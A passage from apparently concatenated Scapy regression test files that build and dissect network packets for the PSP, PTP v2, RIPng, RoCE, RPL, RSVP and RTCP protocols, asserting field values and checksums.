data=payload) hexdump(psp_packet) expected_orig_packet = import_hexcap(r'''\ 0000 04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08 ....."3D........ 0010 45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01 E..%....@.|..... 0020 7F 00 00 01 04 D2 16 2E 00 11 A0 C4 41 41 41 41 ............AAAA 0030 41 41 41 41 41 AAAAA ''') assert bytes(psp_packet) == bytes(expected_orig_packet) # Now let's encrypt it psp_packet.encrypt(key) hexdump(psp_packet) assert bytes(psp_packet) == import_hexcap(r'''\ 0000 04 01 05 01 11 22 33 44 01 02 03 04 05 06 07 08 ....."3D........ 0010 45 00 00 25 00 01 00 00 40 11 7C C5 7F 00 00 01 E..%....@.|..... 0020 7F 00 00 01 8E 3E 2B 13 45 C7 6B F9 5C DA C3 9B .....>+.E.k.\... 0030 86 17 62 A0 CF DF FB BE BB C6 31 3A 2B 9D E0 64 ..b.......1:+..d 0040 75 9C DD 71 C9 u..q. ''') # Now let's decrypt it back psp_packet.decrypt(key) hexdump(psp_packet) assert bytes(psp_packet) == bytes(expected_orig_packet) = PSP RFC Test - Version 0, no VC key_128 = b'\x39\x46\xDA\x25\x54\xEA\xE4\x6A\xD1\xEF\x77\xA6\x43\x72\xED\xC4' spi = 0x9A345678 IV = b'\x00\x00\x00\x00\x00\x00\x00\x01' plaintext_packet = rdpcap(scapy_path("/test/pcaps/psp_v4_cleartext.pcap.gz"))[0] encrypted_packet = rdpcap(scapy_path("/test/pcaps/psp_v4_encrypt_transport_crypt_off_128.pcap.gz"))[0] psp_packet = PSP(nexthdr=0x11, cryptoffset=1, spi=spi, iv=IV, data=plaintext_packet[UDP]) psp_packet.encrypt(key_128) assert bytes(psp_packet) == bytes(encrypted_packet[PSP]) = PSP RFC Test - Version 1, no VC key_256 = b'\xFA\x00\xF6\x09\xDF\x60\x20\x28\x9A\x1C\x93\xD6\x02\x70\x81\xA6\x37\xAD\x45\xB2\x4A\x55\x76\xB3\x6E\x6F\x49\xDD\x43\x11\x4D\x80' # SPI and IV are the same as before encrypted_packet = rdpcap(scapy_path("/test/pcaps/psp_v4_encrypt_transport_crypt_off_256.pcap.gz"))[0] psp_packet = PSP(nexthdr=0x11, cryptoffset=1, version=1, spi=spi, iv=IV, data=plaintext_packet[UDP]) psp_packet.encrypt(key_256) assert bytes(psp_packet) == bytes(encrypted_packet[PSP]) = PSP RFC Test - Version 0, with VC encrypted_packet = rdpcap(scapy_path("/test/pcaps/psp_v4_encrypt_transport_crypt_off_128_vc.pcap.gz"))[0] psp_packet = PSP(nexthdr=0x11, hdrextlen=2, cryptoffset=3, is_virt=1, spi=spi, iv=IV, data=plaintext_packet[UDP]) psp_packet.encrypt(key_128) assert bytes(psp_packet) == bytes(encrypted_packet[PSP]) ================================================ FILE: test/contrib/ptp_v2.uts ================================================ % PTP regression tests for Scapy # # Type the following command to launch the tests: # $ test/run_tests -P "load_contrib('ptp_v2')" -t test/contrib/ptp_v2.uts + Basic tests = specific haslayer and getlayer implementations for PTP ~ haslayer getlayer PTP pkt = IP() / UDP() / PTP() assert PTP in pkt assert pkt.haslayer(PTP) assert isinstance(pkt[PTP], PTP) assert isinstance(pkt.getlayer(PTP), PTP) + Packet dissection tests = Sync packet dissection s = b'\x10\x02\x00\x2c\x7b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x63\xff\xff\x00\x09\xba\x00\x01\x00\x74\x00\x00\x00\x00\x45\xb1\x11\x5a\x0a\x64\xfa\xb0' pkt = PTP(s) assert pkt.transportSpecific == 1 assert pkt.messageType == 0 assert pkt.reserved1 == 0 assert pkt.version == 2 assert pkt.messageLength == 44 assert pkt.domainNumber == 123 assert pkt.reserved2 == 0 assert pkt.flags == None assert pkt.correctionField == 0 assert pkt.reserved3 == 0 assert pkt.clockIdentity == 0x8063ffff0009ba assert pkt.portNumber == 1 assert pkt.sequenceId == 116 assert pkt.controlField == 0 assert pkt.logMessageInterval == 0 assert pkt.originTimestamp_seconds == 1169232218 assert pkt.originTimestamp_nanoseconds == 174389936 = Delay_Req packet dissection s= b'\x11\x02\x00\x2c\x7b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x63\xff\xff\x00\x09\xba\x00\x01\x00\x74\x01\x00\x00\x00\x45\xb1\x11\x5a\x0a\x64\xfa\xb0' pkt = PTP(s) assert pkt.messageType == 0x1 assert pkt.controlField == 0x1 = Pdelay_Req packet dissection s= b'\x12\x02\x00\x2c\x7b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x63\xff\xff\x00\x09\xba\x00\x01\x00\x74\x05\x00\x00\x00\x45\xb1\x11\x5a\x0a\x64\xfa\xb0' pkt = PTP(s) assert pkt.messageType == 0x2 assert pkt.controlField == 0x5 = Pdelay_Resp packet dissection s= b'\x13\x02\x00\x2c\x7b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x63\xff\xff\x00\x09\xba\x00\x01\x00\x74\x05\x00\x00\x00\x45\xb1\x11\x5a\x0a\x64\xfa\xb0' pkt = PTP(s) assert pkt.messageType == 0x3 assert pkt.controlField == 0x5 assert pkt.requestReceiptTimestamp_seconds == 1169232218 assert pkt.requestReceiptTimestamp_nanoseconds == 174389936 = Follow_Up packet dissection s= b'\x18\x02\x00\x2c\x7b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x63\xff\xff\x00\x09\xba\x00\x01\x00\x74\x02\x00\x00\x00\x45\xb1\x11\x5a\x0a\x64\xfa\xb0' pkt = PTP(s) assert pkt.messageType == 0x8 assert pkt.controlField == 0x2 assert pkt.preciseOriginTimestamp_seconds == 1169232218 assert pkt.preciseOriginTimestamp_nanoseconds == 174389936 = Delay_Resp packet dissection s= b'\x19\x02\x00\x2c\x7b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x63\xff\xff\x00\x09\xba\x00\x01\x00\x74\x03\x00\x00\x00\x45\xb1\x11\x5a\x0a\x64\xfa\xb0' pkt = PTP(s) assert pkt.messageType == 0x9 assert pkt.controlField == 0x3 assert pkt.receiveTimestamp_seconds == 1169232218 assert pkt.receiveTimestamp_nanoseconds == 174389936 = Pdelay_Resp_Follow packet dissection s= b'\x1A\x02\x00\x2c\x7b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x63\xff\xff\x00\x09\xba\x00\x01\x00\x74\x05\x00\x00\x00\x45\xb1\x11\x5a\x0a\x64\xfa\xb0' pkt = PTP(s) assert pkt.messageType == 0xA assert pkt.controlField == 0x5 assert pkt.responseOriginTimestamp_seconds == 1169232218 assert pkt.responseOriginTimestamp_nanoseconds == 174389936 = Announce packet dissection s= b'\x1b\x02\x00\x40\x7b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x63\xff\xff\x00\x09\xba\x00\x01\x00\x74\x05\x01\x00\x00\x45\xb1\x11\x5a\x0a\x64\xfa\xb0\x00\x00\x00\x60\x00\x00\x00\x80\x63\xff\xff\x00\x09\xba\xf8\x21\x00\x00\x80\x80' pkt = PTP(s) assert pkt.messageType == 0xB assert pkt.messageLength == 64 assert pkt.controlField == 0x5 assert pkt.currentUtcOffset == 0 assert pkt.reserved4 == 0 assert pkt.grandmasterPriority1 == 96 assert pkt.grandmasterClockClass == 0 assert pkt.grandmasterClockAccuracy == 0x0 assert pkt.grandmasterClockVariance == 128 assert pkt.grandmasterPriority2 == 99 assert pkt.grandmasterIdentity == 0xffff0009baf82100 assert pkt.stepsRemoved == 128 assert pkt.timeSource == 0x80 ================================================ FILE: test/contrib/ripng.uts ================================================ + RIPng Contrib tests = Basic RIPng build pkt = Ether()/IP()/UDP()/RIPng()/RIPngEntry(prefix_or_nh='8c07:9bc5:fdf6:996:117e:08c0:dd84:549e', metric=255)/RIPngEntry(prefix_or_nh='afb6:5b1b:c518:a147:312a:0c32:f40c:3771') pkt = Ether(raw(pkt)) assert RIPngEntry in pkt assert pkt[RIPngEntry].prefix_or_nh == '8c07:9bc5:fdf6:996:117e:8c0:dd84:549e' assert pkt[RIPngEntry].payload.prefix_or_nh == 'afb6:5b1b:c518:a147:312a:c32:f40c:3771' ================================================ FILE: test/contrib/roce.uts ================================================ # RoCE unit tests # run with: # test/run_tests -P "load_contrib('roce')" -t test/contrib/roce.uts -F % Regression tests for the RoCE layer ################ ##### RoCE ##### ################ + RoCE tests = RoCE layer # an example UC packet pkt = Ether(dst='24:8a:07:a8:fa:22', src='24:8a:07:a8:fa:22')/ \ IP(version=4, ihl=5, tos=0x1, id=1144, flags='DF', frag=0, \ ttl=64, src='192.168.0.7', dst='192.168.0.7', len=64)/ \ UDP(sport=49152, dport=4791, len=44)/ \ BTH(opcode='UC_SEND_ONLY', migreq=1, padcount=2, pkey=0xffff, dqpn=211, psn=13571856)/ \ Raw(b'F0\x81\x8b\xe2\x895\xd9\x0e\x9a\x95PT\x01\xbe\x88^P\x00\x00') # include ICRC placeholder pkt = Ether(pkt.build() + b'\x00' * 4) assert IP in pkt.layers() print(hex(pkt[IP].chksum)) assert pkt[IP].chksum == 0xb4d5 assert UDP in pkt.layers() print(hex(pkt[UDP].chksum)) assert pkt[UDP].chksum == 0xaca2 assert BTH in pkt.layers() assert pkt[BTH].icrc == 0x78f353f3 = RoCE CNP packet # based on this example packet: # https://community.mellanox.com/s/article/rocev2-cnp-packet-format-example pkt = Ether()/IP(src='22.22.22.8', dst='22.22.22.7', id=0x98c6, flags='DF', ttl=0x20, tos=0x89)/ \ UDP(sport=56238, dport=4791, chksum=0)/ \ cnp(dqpn=0xd2) pkt = Ether(pkt.build()) assert pkt[IP].len == 60 assert pkt[UDP].len == 40 assert pkt[BTH].opcode == 0x81 assert pkt[BTH].becn assert not pkt[BTH].fecn assert pkt[BTH].resv6 == 0 assert pkt[BTH].resv7 == 0 assert pkt[BTH].dqpn == 0xd2 assert pkt[BTH].version == 0 assert not pkt[BTH].solicited assert not pkt[BTH].migreq assert pkt[BTH].padcount == 0 assert pkt[BTH].pkey == 0xffff assert not pkt[BTH].ackreq assert pkt[BTH].psn == 0 assert pkt[CNPPadding].reserved1 == 0 assert pkt[CNPPadding].reserved2 == 0 # assert pkt[BTH].icrc == 0xe42dad81 TODO - does not match example = RoCE CNP captured on ConnectX-4 Lx pkt = Ether(import_hexcap('''0x0000: e41d 2dab 2bc2 7cfe 9064 3b32 0800 45c2 0x0010: 003c 718c 4000 4011 9161 0a00 1101 0a00 0x0020: 1201 0000 12b7 0028 0000 8100 ffff 4000 0x0030: 0118 0000 0000 0000 0000 0000 0000 0000 0x0040: 0000 0000 0000 82fd 002a ''')) assert BTH in pkt.layers() assert pkt.opcode == CNP_OPCODE del pkt.icrc pkt = Ether(pkt.build()) assert pkt.icrc == 0x82fd002a = RoCE v1 RC RDMA WRITE ONLY pkt = Ether(import_hexcap('''\ 0x0000 7c fe 90 75 3c d8 7c fe 90 75 3c d8 89 15 60 20 0x0010 00 00 00 28 1b 40 00 00 00 00 00 00 00 00 00 00 0x0020 ff ff 0f 00 00 02 00 00 00 00 00 00 00 00 00 00 0x0030 ff ff 0f 00 00 02 0a 70 ff ff 00 00 01 0a 80 a7 0x0040 88 bc 00 00 55 d4 c0 72 60 00 00 00 47 b3 00 00 0x0050 00 05 00 00 00 00 01 00 00 00 e3 d8 56 bb ''')) assert GRH in pkt.layers() assert BTH in pkt.layers() assert pkt[GRH].ipver == 6 assert pkt[GRH].tclass == 2 assert pkt[GRH].flowlabel == 0 assert pkt[GRH].paylen == 40 assert pkt[BTH].opcode == 0xa assert pkt[BTH].padcount == 3 assert pkt[BTH].dqpn == 0x10a assert pkt[BTH].ackreq assert pkt.icrc == 0xe3d856bb = RoCE v1 RC ACKNOWLEDGE pkt = Ether(import_hexcap('''\ 0000 7c fe 90 75 3c d8 7c fe 90 75 3c d8 89 15 60 20 0010 00 00 00 14 1b 40 00 00 00 00 00 00 00 00 00 00 0020 ff ff 0f 00 00 02 00 00 00 00 00 00 00 00 00 00 0030 ff ff 0f 00 00 02 11 40 ff ff 00 00 01 09 00 a7 0040 88 c0 00 00 00 05 25 f0 c0 38 ''')) assert GRH in pkt.layers() assert BTH in pkt.layers() assert AETH in pkt.layers() assert pkt[GRH].ipver == 6 assert pkt[GRH].tclass == 2 assert pkt[GRH].flowlabel == 0 assert pkt[GRH].paylen == 20 assert pkt[BTH].opcode == 0x11 assert pkt[BTH].padcount == 0 assert pkt[BTH].dqpn == 0x109 assert not pkt[BTH].ackreq assert pkt[AETH].syndrome == 0 assert pkt[AETH].msn == 5 assert pkt.icrc == 0x25f0c038 = RoCE over IPv6 # an example UC packet pkt = Ether(dst='24:8a:07:a8:fa:22', src='24:8a:07:a8:fa:22')/ \ IPv6(nh=17,src='2022::1023', dst='2023::1024', \ version=6,hlim=255,plen=44,fl=0x1face,tc=226)/ \ UDP(sport=49152, dport=4791, len=44)/ \ BTH(opcode='UC_SEND_ONLY', migreq=1, padcount=2, pkey=0xffff, dqpn=211, psn=13571856)/ \ Raw(b'F0\x81\x8b\xe2\x895\xd9\x0e\x9a\x95PT\x01\xbe\x88^P\x00\x00') # include ICRC placeholder pkt = Ether(pkt.build() + b'\x00' * 4) assert IPv6 in pkt.layers() assert UDP in pkt.layers() print(hex(pkt[UDP].chksum)) assert pkt[UDP].chksum == 0xe7c5 assert BTH in pkt.layers() print(hex(pkt[BTH].icrc)) assert pkt[BTH].icrc == 0x3e5b743b ================================================ FILE: test/contrib/rpl.uts ================================================ % RPL layer test campaign + Syntax check = Import the RPL layer load_contrib("rpl") load_contrib("rpl_metrics") + Test RPL Control Messages = RPL Base Objects construction assert raw(ICMPv6RPL()/RPLDIS()) == b'\x9b\x00\x00\x00\x00\x00' assert raw(ICMPv6RPL()/RPLDIO()) == b'\x9b\x01\x00\x00\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' assert raw(ICMPv6RPL()/RPLDAO()) == b'\x9b\x02\x00\x00\x32\x00\x00\x01' assert raw(ICMPv6RPL()/RPLDAOACK()) == b'\x9b\x03\x00\x00\x32\x00\x01\x00' assert raw(ICMPv6RPL()/RPLDCO()) == b'\x9b\x07\x00\x00\x32\x00\x00\x01' assert raw(ICMPv6RPL()/RPLDCOACK()) == b'\x9b\x08\x00\x00\x32\x00\x01\x00' p=raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDCOACK()/RPLOptPadN(optdata='0'*10)) assert p == b'\x60\x00\x00\x00\x00\x14\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x08\x42\x0f\x32\x00\x01\x00\x01\x0a\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDCO()/RPLOptTgt(prefix="fd00::1", plen=128)) assert p == b'\x60\x00\x00\x00\x00\x1c\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x07\x32\x6e\x32\x00\x00\x01\x05\x12\x00\x80\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptRIO(plen=64, prefix="fd00::1")) assert p == b'\x60\x00\x00\x00\x00\x34\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\x6b\xe6\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x03\x16\x40\x00\xff\xff\xff\xff\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO(dodagid="aaaa::1")/RPLOptDODAGConfig()/RPLOptDAGMC()/RPLDAGMCLinkETX()) assert p == b'\x60\x00\x00\x00\x00\x34\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xef\x1e\x32\x00\x00\x01\x88\xf0\x00\x00\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x04\x0e\x00\x14\x03\x0a\x00\x00\x01\x00\x00\x01\x00\xff\xff\xff\x02\x06\x07\x00\x00\x02\x00\x01' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO(dodagid="aaaa::1")/RPLOptPIO(plen=64, prefix="fd00::1")) assert p == b'\x60\x00\x00\x00\x00\x3c\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xbc\x2b\x32\x00\x00\x01\x88\xf0\x00\x00\xaa\xaa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x08\x1e\x40\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' p = raw(IPv6(src="fe80::1", dst="fe80::2")/ICMPv6RPL()/RPLDAO()/RPLOptTgtDesc()) assert p == b'\x60\x00\x00\x00\x00\x0e\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x9b\x02\x2c\xab\x32\x00\x00\x01\x09\x04\x00\x00\x00\x00' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCNSA()) assert p == b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa9\x06\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x01\x00\x00\x02\x00\x00' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCNodeEnergy()) assert p == b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa8\x06\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x02\x00\x00\x02\x00\x00' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCHopCount()) assert p == b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa7\x05\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x03\x00\x00\x02\x00\x01' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkThroughput()) assert p == b'\x60\x00\x00\x00\x00\x26\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa5\xff\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x08\x04\x00\x00\x04\x00\x00\x00\x01' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkColor()) assert p == b'\x60\x00\x00\x00\x00\x25\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\x61\x03\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x07\x08\x00\x00\x03\x00\x00\x41' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkLatency()) assert p == b'\x60\x00\x00\x00\x00\x26\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa4\xff\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x08\x05\x00\x00\x04\x00\x00\x00\x01' p = raw(IPv6(src="fe80::1")/ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkQualityLevel()) assert p == b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa4\x06\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x06\x00\x00\x02\x00\x00' = RPL Base Objects dissection # Test DIS dissection p = ICMPv6RPL(b'\x9b\x00\x00\x00\x00\x00') assert p.code == 0 # Test DIO dissection p = ICMPv6RPL(b'\x9b\x01\x00\x00\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') assert p.code == 1 assert p.RPLInstanceID == 50 assert p.ver == 0 assert p.rank == 1 assert p.G == 1 assert p.mop == 1 assert p.dtsn == 240 assert p.dodagid == "::1" # Test DAO dissection p = ICMPv6RPL(b'\x9b\x02\x00\x00\x32\x00\x00\x01') assert p.code == 2 + Test RPL Control Message Options = RPL Control Options construction # DIS assert raw(ICMPv6RPL()/RPLDIS()/RPLOptPad1()) == b'\x9b\x00\x00\x00\x00\x00\x00' # DIS with solicited info option assert raw(ICMPv6RPL()/RPLDIS()/RPLOptSolInfo()) == b'\x9b\x00\x00\x00\x00\x00\x07\x13\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00' # DIO with DAG MC option with link ETX metric assert raw(ICMPv6RPL()/RPLDIO()/RPLOptDAGMC()/RPLDAGMCLinkETX()) == b'\x9b\x01\x00\x00\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x07\x00\x00\x02\x00\x01' # Normal DAO message with single target, since transit assert raw(IPv6(src="fe80::1", dst="fe80::2")/\ ICMPv6RPL()/RPLDAO()/\ RPLOptTgt(plen=128,prefix="fd00::1")/\ RPLOptTIO()) == \ b'\x60\x00\x00\x00\x00\x22\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x9b\x02\x2c\x04\x32\x00\x00\x01\x05\x12\x00\x80\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x06\x04\x00\x00\x00\xff' assert raw(ICMPv6RPL()/RPLDAO(D=1, dodagid="fd00::1")/RPLOptDAGMC()) == \ b'\x9b\x02\x00\x00\x32\x40\x00\x01\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x00' p=IPv6(b'\x60\x00\x00\x00\x00\x1c\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x0f\x86\xcc\x88\xaf\xfa\xbe\x25\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x07\xe8\x3f\x32\x00\x00\x01\x05\x12\x00\x80\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') assert p.payload.code == 7 # Its a DCO p=IPv6(b'\x60\x00\x00\x00\x00\x2c\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x9b\x02\x35\xbb\x32\x40\x00\x01\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x05\x12\x00\x80\xfd\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01') p.show() assert p.payload.code == 2 # Its a DAO p=IPv6(b'\x60\x00\x00\x00\x00\x24\x3a\x40\xfe\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\xff\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1a\x9b\x01\xa3\x05\x32\x00\x00\x01\x88\xf0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02\x06\x07\x00\x00\x02\x00\x01') #p.show() rpl=p.payload assert rpl.code == 1 dio=rpl.payload assert dio.RPLInstanceID == 50 assert dio.dtsn == 240 dagmc=dio.payload assert dagmc.len == 6 mc=dagmc.options[0] assert mc.ETX == 1 ================================================ FILE: test/contrib/rsvp.uts ================================================ % Regression tests for the rsvp module + Basic RSVP test = Default build pkt = Ether()/IP()/RSVP()/RSVP_Object()/RSVP_SessionAttrb(Name="test") pkt = Ether(raw(pkt)) assert RSVP_SessionAttrb in pkt assert pkt.Name == b"test" = Master dissection pkt = Ether(b"\x00\x90\x92\x9d\x94\x01\x00\xd0c\xc3\xb8G\x08\x00E\x00\x00\x80\x8ad\x00\x00\xff.\x8c\xe7\xd2\x00\x00\x02\xd2\x00\x00\x01\x10\x02\xeb\xfa\xff\x00\x00l\x00\x10\x01\x07\x10\x02\x02\x02\x00\x00\x00\x01\x11\x03\x03\x03\x00\x0c\x03\x01\xd2\x00\x00\x02\x00\x00\x00\x00\x00\x08\x05\x01\x00\x00u0\x00\x08\x08\x01\x00\x00\x00\x12\x00$\t\x02\x00\x00\x00\x07\x05\x00\x00\x06\x7f\x00\x00\x05I\x18\x96\x80Dz\x00\x00\x7f\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0c\n\x07\x11\x03\x03\x03\x00\x00'\x11\x00\x08\x10\x01\x00\x00\x00\x10\x03\x06-\xad") assert RSVP_Time in pkt assert pkt[RSVP_Time].refresh == 30000 ================================================ FILE: test/contrib/rtcp.uts ================================================ # RTCP unit tests # run with: # test/run_tests -P "load_contrib('rtcp')" -t test/contrib/rtcp.uts -F % RTCP regression tests for Scapy ############ # RTCP ############ + RTCP Sender Report tests = test sender report parse raw = b'\x80\xc8\x00\x06\x9c\xe9\xc6\x48\xe5\x61\xe4\x4b\x63\x8a\x19\xc9\x98\x64\xea\x2e\x00\x00\x00\x49\x00\x00\x09\x69' parsed = RTCP(raw) assert parsed.version == 2 assert parsed.padding == 0 assert parsed.count == 0 assert parsed.packet_type == 200 assert parsed.length == 6 assert parsed.sourcesync == 0x9ce9c648 assert parsed.sender_info.ntp_timestamp == 0xe561e44b638a19c9 assert parsed.sender_info.rtp_timestamp == 2556750382 assert parsed.sender_info.sender_packet_count == 73 assert parsed.sender_info.sender_octet_count == 2409 + RTCP Receiver Report tests = test receiver report parse raw = b'\x81\xc9\x00\x07\xa2\xdf\x02\x72\x49\x6e\x93\xbd\x00\xff\xff\xff\x00\x00\x59\x47\x00\x00\x00\x00\xe4\x8f\xb9\x3a\x00\x03\x3f\x1b' parsed = RTCP(raw) assert parsed.version == 2 assert parsed.padding == 0 assert parsed.count == 1 assert parsed.packet_type == 201 assert parsed.length == 7 assert parsed.sourcesync == 0xa2df0272 assert parsed.report_blocks[0].sourcesync == 0x496e93bd assert parsed.report_blocks[0].fraction_lost == 0 assert parsed.report_blocks[0].cumulative_lost == 0xffffff assert parsed.report_blocks[0].highest_seqnum_recv == 22855 assert parsed.report_blocks[0].interarrival_jitter == 0 assert parsed.report_blocks[0].last_SR_timestamp == 0xe48fb93a assert parsed.report_blocks[0].delay_since_last_SR 